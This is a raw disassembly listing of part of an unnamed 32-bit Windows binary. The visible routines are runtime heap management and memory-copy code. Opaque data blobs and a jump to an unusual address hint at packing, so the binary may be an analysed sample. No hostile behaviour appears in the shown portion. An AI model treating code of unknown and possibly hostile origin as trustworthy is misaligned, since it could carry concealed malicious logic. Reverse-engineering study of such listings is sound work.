loc_4028C8:				; CODE XREF: seg000:004028B8j
		or	eax, 0FFFFFFFFh

loc_4028CB:				; CODE XREF: seg000:004028C6j
		mov	ecx, [ebp-4]
		pop	edi
		pop	esi
		pop	ebx
		call	sub_4024BC
		leave
		retn
; ---------------------------------------------------------------------------
dword_4028D8	dd 0F7EEFDE9h, 0C93E3EFFh, 75D474Bh, 1095404Ch,	256F78B6h
					; DATA XREF: seg002:00407014o
		dd 5730ACA6h, 0EA4191AFh
		db 0E2h, 0E7h

; =============== S U B	R O U T	I N E =======================================



sub_4028F6	proc near		; CODE XREF: sub_403B37+24p
					; sub_403E7F+23Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_40292C
		cmp	ds:dword_407764, 3
		push	esi
		jnz	short loc_40291E
		call	sub_402D45
		test	eax, eax
		pop	ecx
		push	esi
		jz	short loc_40291E
		push	eax
		call	sub_402D70
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40291E:				; CODE XREF: sub_4028F6+11j
					; sub_4028F6+1Cj
		push	0
		push	ds:dword_407760
		call	ds:dword_405070	; RtlFreeHeap

loc_40292C:				; CODE XREF: sub_4028F6+7j
		pop	esi
		retn
sub_4028F6	endp


; =============== S U B	R O U T	I N E =======================================



sub_40292E	proc near		; CODE XREF: seg000:0040297Fp

arg_0		= dword	ptr  4

		cmp	ds:dword_407764, 3
		push	esi
		mov	esi, [esp+4+arg_0]
		jnz	short loc_40294F
		cmp	esi, ds:dword_40751C
		ja	short loc_40294F
		push	esi
		call	sub_403524
		test	eax, eax
		pop	ecx
		jnz	short loc_402972

loc_40294F:				; CODE XREF: sub_40292E+Cj
					; sub_40292E+14j
		test	esi, esi
		jnz	short loc_402954
		inc	esi

loc_402954:				; CODE XREF: sub_40292E+23j
		cmp	ds:dword_407764, 1
		jz	short loc_402963
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h

loc_402963:				; CODE XREF: sub_40292E+2Dj
		push	esi
		push	0
		push	ds:dword_407760
		call	ds:dword_405084	; RtlAllocateHeap

loc_402972:				; CODE XREF: sub_40292E+1Fj
		pop	esi
		retn
sub_40292E	endp

; ---------------------------------------------------------------------------
		cmp	dword ptr [esp+4], 0FFFFFFE0h
		ja	short loc_40299D

loc_40297B:				; CODE XREF: seg000:0040299Bj
		push	dword ptr [esp+4]
		call	sub_40292E
		test	eax, eax
		pop	ecx
		jnz	short locret_40299F
		cmp	[esp+8], eax
		jz	short locret_40299F
		push	dword ptr [esp+4]
		call	sub_4043F5
		test	eax, eax
		pop	ecx
		jnz	short loc_40297B

loc_40299D:				; CODE XREF: seg000:00402979j
		xor	eax, eax

locret_40299F:				; CODE XREF: seg000:00402987j
					; seg000:0040298Dj
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4029A0	proc near		; CODE XREF: sub_403B37+Fp
					; sub_403E7F+11Ap ...
		jmp	near ptr 381909h
sub_4029A0	endp

; ---------------------------------------------------------------------------
		db 32h,	5Dh, 23h
		dd 590DA1F4h, 0E1960213h, 0CCCC6EABh, 3	dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4029C0	proc near		; CODE XREF: sub_403B37+8Dp
					; sub_403B37+D5p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_4029E0
		cmp	edi, eax
		jb	loc_402B5C

loc_4029E0:				; CODE XREF: sub_4029C0+16j
		test	edi, 3
		jnz	short loc_4029FC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_402A1C
		rep movsd
		jmp	ds:off_402B0C[edx*4]
; ---------------------------------------------------------------------------

loc_4029FC:				; CODE XREF: sub_4029C0+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_402A14
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr ds:loc_402A1C+4[eax*4]
; ---------------------------------------------------------------------------

loc_402A14:				; CODE XREF: sub_4029C0+46j
		jmp	dword ptr ds:loc_402B1C[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_402A1C:				; CODE XREF: sub_4029C0+31j
					; sub_4029C0+8Ej ...
		jmp	ds:off_402AA0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_402A30
		dd offset loc_402A5C
		dd offset loc_402A80
; ---------------------------------------------------------------------------

loc_402A30:				; DATA XREF: sub_4029C0+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_402A1C
		rep movsd
		jmp	ds:off_402B0C[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_402A5C:				; DATA XREF: sub_4029C0+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_402A1C
		rep movsd
		jmp	ds:off_402B0C[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_402A80:				; DATA XREF: sub_4029C0+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		add	esi, 1
		shr	ecx, 2
		add	edi, 1
		cmp	ecx, 8
		jb	short loc_402A1C
		rep movsd
		jmp	ds:off_402B0C[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_402AA0	dd offset loc_402B03	; DATA XREF: sub_4029C0:loc_402A1Cr
		dd offset loc_402AF0
		dd offset loc_402AE8
		dd offset loc_402AE0
		dd offset loc_402AD8
		dd offset loc_402AD0
		dd offset loc_402AC8
		dd offset loc_402AC0
; ---------------------------------------------------------------------------

loc_402AC0:				; CODE XREF: sub_4029C0:loc_402A1Cj
					; DATA XREF: sub_4029C0+FCo
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax

loc_402AC8:				; CODE XREF: sub_4029C0:loc_402A1Cj
					; DATA XREF: sub_4029C0+F8o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax

loc_402AD0:				; CODE XREF: sub_4029C0:loc_402A1Cj
					; DATA XREF: sub_4029C0+F4o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax

loc_402AD8:				; CODE XREF: sub_4029C0:loc_402A1Cj
					; DATA XREF: sub_4029C0+F0o
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax

loc_402AE0:				; CODE XREF: sub_4029C0:loc_402A1Cj
					; DATA XREF: sub_4029C0+ECo
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax

loc_402AE8:				; CODE XREF: sub_4029C0:loc_402A1Cj
					; DATA XREF: sub_4029C0+E8o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax

loc_402AF0:				; CODE XREF: sub_4029C0:loc_402A1Cj
					; DATA XREF: sub_4029C0+E4o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_402B03:				; CODE XREF: sub_4029C0:loc_402A1Cj
					; DATA XREF: sub_4029C0:off_402AA0o
		jmp	ds:off_402B0C[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_402B0C	dd offset loc_402B1C	; DATA XREF: sub_4029C0+35r
					; sub_4029C0+92r ...
		dd offset loc_402B24
		dd offset loc_402B30
		dd offset loc_402B44
; ---------------------------------------------------------------------------

loc_402B1C:				; CODE XREF: sub_4029C0+35j
					; sub_4029C0+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_402B24:				; CODE XREF: sub_4029C0+35j
					; sub_4029C0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_402B30:				; CODE XREF: sub_4029C0+35j
					; sub_4029C0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_402B44:				; CODE XREF: sub_4029C0+35j
					; sub_4029C0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_402B5C:				; CODE XREF: sub_4029C0+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_402B90
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_402B84
		std
		rep movsd
		cld
		jmp	ds:off_402CA8[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_402B84:				; CODE XREF: sub_4029C0+1B5j
					; sub_4029C0+210j ...
		neg	ecx
		jmp	ds:off_402C58[ecx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_402B90:				; CODE XREF: sub_4029C0+1AAj
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_402BA8
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr ds:loc_402BA8+4[eax*4]
; ---------------------------------------------------------------------------

loc_402BA8:				; CODE XREF: sub_4029C0+1DAj
					; DATA XREF: sub_4029C0+1E1r
		jmp	ds:off_402CA8[ecx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	esp, 0E000402Bh
		sub	eax, [eax+0]
		or	[eax+eax*2], ch
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		sub	esi, 1
		shr	ecx, 2
		sub	edi, 1
		cmp	ecx, 8
		jb	short loc_402B84
		std
		rep movsd
		cld
		jmp	ds:off_402CA8[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_402B84
		std
		rep movsd
		cld
		jmp	ds:off_402CA8[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_402B84
		std
		rep movsd
		cld
		jmp	ds:off_402CA8[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_402C5C
		dd offset loc_402C64
		dd offset loc_402C6C
		dd offset loc_402C74
		dd offset loc_402C7C
		dd offset loc_402C84
		dd offset loc_402C8C
off_402C58	dd offset loc_402C9F	; DATA XREF: sub_4029C0+1C6r
; ---------------------------------------------------------------------------

loc_402C5C:				; DATA XREF: sub_4029C0+27Co
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax

loc_402C64:				; DATA XREF: sub_4029C0+280o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax

loc_402C6C:				; DATA XREF: sub_4029C0+284o
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax

loc_402C74:				; DATA XREF: sub_4029C0+288o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax

loc_402C7C:				; DATA XREF: sub_4029C0+28Co
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax

loc_402C84:				; DATA XREF: sub_4029C0+290o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax

loc_402C8C:				; DATA XREF: sub_4029C0+294o
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_402C9F:				; CODE XREF: sub_4029C0+1C6j
					; DATA XREF: sub_4029C0:off_402C58o
		jmp	ds:off_402CA8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_402CA8	dd offset loc_402CB8	; DATA XREF: sub_4029C0+1BBr
					; sub_4029C0:loc_402BA8r ...
		dd offset loc_402CC0
		dd offset loc_402CD0
		dd offset loc_402CE4
; ---------------------------------------------------------------------------

loc_402CB8:				; CODE XREF: sub_4029C0+1BBj
					; sub_4029C0:loc_402BA8j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_402CC0:				; CODE XREF: sub_4029C0+1BBj
					; sub_4029C0:loc_402BA8j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_402CD0:				; CODE XREF: sub_4029C0+1BBj
					; sub_4029C0:loc_402BA8j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_402CE4:				; CODE XREF: sub_4029C0+1BBj
					; sub_4029C0:loc_402BA8j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_4029C0	endp

; ---------------------------------------------------------------------------
		push	140h
		push	0
		push	ds:dword_407760
		call	ds:dword_405084	; RtlAllocateHeap
		test	eax, eax
		mov	ds:dword_407518, eax
		jnz	short loc_402D1A
		retn
; ---------------------------------------------------------------------------

loc_402D1A:				; CODE XREF: seg000:00402D17j
		mov	ecx, [esp+4]
		and	ds:dword_407510, 0
		and	ds:dword_407514, 0
		mov	ds:dword_407520, eax
		xor	eax, eax
		mov	ds:dword_40751C, ecx
		mov	ds:dword_407524, 10h
		inc	eax
		retn

; =============== S U B	R O U T	I N E =======================================



sub_402D45	proc near		; CODE XREF: sub_4028F6+13p
					; sub_403B37+48p ...

arg_0		= dword	ptr  4

		mov	eax, ds:dword_407514
		lea	ecx, [eax+eax*4]
		mov	eax, ds:dword_407518
		lea	ecx, [eax+ecx*4]
		jmp	short loc_402D69
; ---------------------------------------------------------------------------

loc_402D57:				; CODE XREF: sub_402D45+26j
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_402D6F
		add	eax, 14h

loc_402D69:				; CODE XREF: sub_402D45+10j
		cmp	eax, ecx
		jb	short loc_402D57
		xor	eax, eax

locret_402D6F:				; CODE XREF: sub_402D45+1Fj
		retn
sub_402D45	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402D70	proc near		; CODE XREF: sub_4028F6+1Fp
					; sub_403B37+9Cp ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+10h]
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		mov	edi, esi
		sub	edi, [ecx+0Ch]
		add	esi, 0FFFFFFFCh
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_403084
		push	ebx
		lea	ebx, [ecx+esi]
		mov	edx, [ebx]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_402E3B
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_402DD3
		push	3Fh
		pop	edx

loc_402DD3:				; CODE XREF: sub_402D70+5Ej
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_402E1D
		cmp	edx, 20h
		mov	ebx, 80000000h
		jnb	short loc_402DFE
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_402E1A
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_402E1A
; ---------------------------------------------------------------------------

loc_402DFE:				; CODE XREF: sub_402D70+73j
		lea	ecx, [edx-20h]
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_402E1A
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_402E1A:				; CODE XREF: sub_402D70+85j
					; sub_402D70+8Cj ...
		mov	ebx, [ebp+arg_4]

loc_402E1D:				; CODE XREF: sub_402D70+69j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx
		mov	[ebp+var_4], ecx

loc_402E3B:				; CODE XREF: sub_402D70+55j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_402E49
		push	3Fh
		pop	edx

loc_402E49:				; CODE XREF: sub_402D70+D4j
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_402EE7
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_402E6E
		mov	ebx, esi

loc_402E6E:				; CODE XREF: sub_402D70+FAj
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		mov	[ebp+var_4], ecx
		jbe	short loc_402E80
		mov	edx, esi

loc_402E80:				; CODE XREF: sub_402D70+10Cj
		cmp	ebx, edx
		jz	short loc_402EE2
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_402ECA
		cmp	ebx, 20h
		mov	esi, 80000000h
		jnb	short loc_402EB0
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_402ECA
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_402ECA
; ---------------------------------------------------------------------------

loc_402EB0:				; CODE XREF: sub_402D70+127j
		lea	ecx, [ebx-20h]
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_402ECA
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi

loc_402ECA:				; CODE XREF: sub_402D70+11Dj
					; sub_402D70+137j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx

loc_402EE2:				; CODE XREF: sub_402D70+112j
		mov	esi, [ebp+arg_4]
		jmp	short loc_402EEA
; ---------------------------------------------------------------------------

loc_402EE7:				; CODE XREF: sub_402D70+E2j
		mov	ebx, [ebp+arg_0]

loc_402EEA:				; CODE XREF: sub_402D70+175j
		cmp	[ebp+var_C], 0
		jnz	short loc_402EF8
		cmp	ebx, edx
		jz	loc_402F78

loc_402EF8:				; CODE XREF: sub_402D70+17Ej
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edx*8]
		mov	ebx, [ecx+4]
		mov	[esi+8], ecx
		mov	[esi+4], ebx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_402F78
		mov	cl, [edx+eax+4]
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		cmp	edx, 20h
		mov	[edx+eax+4], cl
		jnb	short loc_402F4F
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_402F3E
		mov	ecx, edx
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx

loc_402F3E:				; CODE XREF: sub_402D70+1BEj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_402F78
; ---------------------------------------------------------------------------

loc_402F4F:				; CODE XREF: sub_402D70+1B8j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_402F65
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx

loc_402F65:				; CODE XREF: sub_402D70+1E3j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx

loc_402F78:				; CODE XREF: sub_402D70+182j
					; sub_402D70+1A6j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_403083
		mov	eax, ds:dword_407510
		test	eax, eax
		jz	loc_403075
		mov	ecx, ds:dword_407528
		mov	esi, ds:dword_40506C
		push	4000h
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	ebx
		push	ecx
		call	esi	; VirtualFree
		mov	ecx, ds:dword_407528
		mov	eax, ds:dword_407510
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, ds:dword_407510
		mov	eax, [eax+10h]
		mov	ecx, ds:dword_407528
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, ds:dword_407510
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, ds:dword_407510
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_403006
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, ds:dword_407510

loc_403006:				; CODE XREF: sub_402D70+28Bj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_403075
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi	; VirtualFree
		mov	eax, ds:dword_407510
		push	dword ptr [eax+10h]
		push	0
		push	ds:dword_407760
		call	ds:dword_405070	; RtlFreeHeap
		mov	eax, ds:dword_407514
		mov	edx, ds:dword_407518
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, ds:dword_407510
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_404410
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	ds:dword_407514
		cmp	eax, ds:dword_407510
		jbe	short loc_40306B
		sub	[ebp+arg_0], 14h

loc_40306B:				; CODE XREF: sub_402D70+2F5j
		mov	eax, ds:dword_407518
		mov	ds:dword_407520, eax

loc_403075:				; CODE XREF: sub_402D70+223j
					; sub_402D70+29Aj
		mov	eax, [ebp+arg_0]
		mov	ds:dword_407510, eax
		mov	ds:dword_407528, edi

loc_403083:				; CODE XREF: sub_402D70+216j
		pop	ebx

loc_403084:				; CODE XREF: sub_402D70+37j
		pop	edi
		pop	esi
		leave
		retn
sub_402D70	endp


; =============== S U B	R O U T	I N E =======================================



sub_403088	proc near		; CODE XREF: sub_403524+150p
		mov	eax, ds:dword_407514
		mov	ecx, ds:dword_407524
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_4030CE
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	ds:dword_407518
		push	edi
		push	ds:dword_407760
		call	ds:dword_40508C	; RtlReAllocateHeap
		cmp	eax, edi
		jnz	short loc_4030BD
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_4030BD:				; CODE XREF: sub_403088+2Fj
		add	ds:dword_407524, 10h
		mov	ds:dword_407518, eax
		mov	eax, ds:dword_407514

loc_4030CE:				; CODE XREF: sub_403088+10j
		mov	ecx, ds:dword_407518
		push	esi
		push	41C4h
		push	8
		push	ds:dword_407760
		lea	eax, [eax+eax*4]
		lea	esi, [ecx+eax*4]
		call	ds:dword_405084	; RtlAllocateHeap
		cmp	eax, edi
		mov	[esi+10h], eax
		jnz	short loc_4030F9

loc_4030F5:				; CODE XREF: sub_403088+9Bj
		xor	eax, eax
		jmp	short loc_40313C
; ---------------------------------------------------------------------------

loc_4030F9:				; CODE XREF: sub_403088+6Bj
		push	4
		push	2000h
		push	100000h
		push	edi
		call	ds:dword_405088	; VirtualAlloc
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_403125
		push	dword ptr [esi+10h]
		push	edi
		push	ds:dword_407760
		call	ds:dword_405070	; RtlFreeHeap
		jmp	short loc_4030F5
; ---------------------------------------------------------------------------

loc_403125:				; CODE XREF: sub_403088+89j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	ds:dword_407514
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi

loc_40313C:				; CODE XREF: sub_403088+6Fj
		pop	esi
		pop	edi
		retn
sub_403088	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40313F	proc near		; CODE XREF: sub_403524+15Fp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+8]
		push	ebx
		push	esi
		mov	esi, [ecx+10h]
		push	edi
		xor	ebx, ebx
		jmp	short loc_403157
; ---------------------------------------------------------------------------

loc_403154:				; CODE XREF: sub_40313F+1Aj
		shl	eax, 1
		inc	ebx

loc_403157:				; CODE XREF: sub_40313F+13j
		test	eax, eax
		jge	short loc_403154
		mov	eax, ebx
		imul	eax, 204h
		lea	eax, [eax+esi+144h]
		push	3Fh
		mov	[ebp+var_8], eax
		pop	edx

loc_403170:				; CODE XREF: sub_40313F+3Bj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_403170
		push	4
		mov	edi, ebx
		push	1000h
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	8000h
		push	edi
		call	ds:dword_405088	; VirtualAlloc
		test	eax, eax
		jnz	short loc_4031A3
		or	eax, 0FFFFFFFFh
		jmp	loc_403240
; ---------------------------------------------------------------------------

loc_4031A3:				; CODE XREF: sub_40313F+5Aj
		lea	edx, [edi+7000h]
		cmp	edi, edx
		mov	[ebp+var_4], edx
		ja	short loc_4031F3
		mov	ecx, edx
		sub	ecx, edi
		shr	ecx, 0Ch
		lea	eax, [edi+10h]
		inc	ecx

loc_4031BB:				; CODE XREF: sub_40313F+AFj
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	edx, [eax+0FFCh]
		mov	[eax], edx
		lea	edx, [eax-1004h]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax+4], edx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		dec	ecx
		jnz	short loc_4031BB
		mov	edx, [ebp+var_4]

loc_4031F3:				; CODE XREF: sub_40313F+6Fj
		mov	eax, [ebp+var_8]
		add	eax, 1F8h
		lea	ecx, [edi+0Ch]
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		xor	edi, edi
		inc	edi
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_403230
		or	[eax+4], edi

loc_403230:				; CODE XREF: sub_40313F+ECj
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx

loc_403240:				; CODE XREF: sub_40313F+5Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40313F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403245	proc near		; CODE XREF: sub_403B37+63p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
